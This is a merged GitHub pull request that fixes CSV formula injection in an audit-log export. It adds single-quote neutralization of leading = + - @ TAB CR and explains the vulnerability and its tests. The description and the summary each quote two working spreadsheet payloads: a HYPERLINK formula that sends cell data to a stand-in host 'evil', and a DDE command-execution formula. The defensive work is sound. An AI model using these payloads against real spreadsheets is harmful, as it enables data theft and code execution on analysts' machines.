fix(audit): neutralize CSV formula injection in ExportCSV#168
Merged
Conversation
The audit log's CSV export is explicitly meant for spreadsheet import, and its
input/output columns carry attacker-controlled capture data verbatim (SSIDs,
NFC tag URIs/records, evil-portal credentials, filenames — Record stores tool
output raw). csvQuote only applied RFC 4180 quoting (quote when a cell contains
, " \n \r); it did nothing about spreadsheet formula-injection prefixes.
A cell beginning with =, +, -, @, TAB, or CR is evaluated as a formula by
Excel / LibreOffice / Google Sheets on import. An attacker who sets an SSID (or
any captured field) to e.g.
=HYPERLINK("http://evil/"&A1) (exfiltrates adjacent cells)
=cmd|'/c calc'!A1 (command execution via DDE)
lands that string in the output column. It contains no comma/quote/newline, so
RFC 4180 quoting left it bare and live: opening the exported audit CSV runs the
formula on the analyst's machine.
csvQuote now prefixes any cell whose first byte is one of = + - @ \t \r with a
single quote, the standard neutralization that makes every major spreadsheet
treat the cell as literal text, before the existing field quoting. A mid-cell
formula char and ordinary values are untouched. The markdown export already
neutralized its own metacharacters via mdEscape; CSV was the gap.
Found via the internal audit sweep.
Tests: TestCSVQuote_NeutralizesFormulaPrefixes (= + - @ TAB, plus untouched
normal/mid-cell/empty) and TestExportCSV_NeutralizesFormulaInjection
(end-to-end). Both proven to FAIL on the pre-fix code.
Verified: task ci green (lint 0 / vet / build / test:full 0 fail / govulncheck
clean); task eval 17/17.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
The audit CSV export (marketed for spreadsheet import) writes attacker-controlled capture data (SSIDs, NFC URIs, evil-portal creds) verbatim. csvQuote only did RFC 4180 quoting, not formula-prefix neutralization, so a captured SSID like =HYPERLINK("http://evil/"&A1) or =cmd|'/c calc'!A1 (no comma/quote/newline -> emitted bare) executes as a formula when an analyst opens the CSV in Excel/Sheets — code exec / data exfil on their box. csvQuote now prefixes a leading = + - @ TAB CR with a single quote (standard neutralization) before field quoting. The markdown export already did this; CSV was the gap. Table + end-to-end tests, proven to fail pre-fix. task ci green; eval 17/17. Found via the internal audit sweep.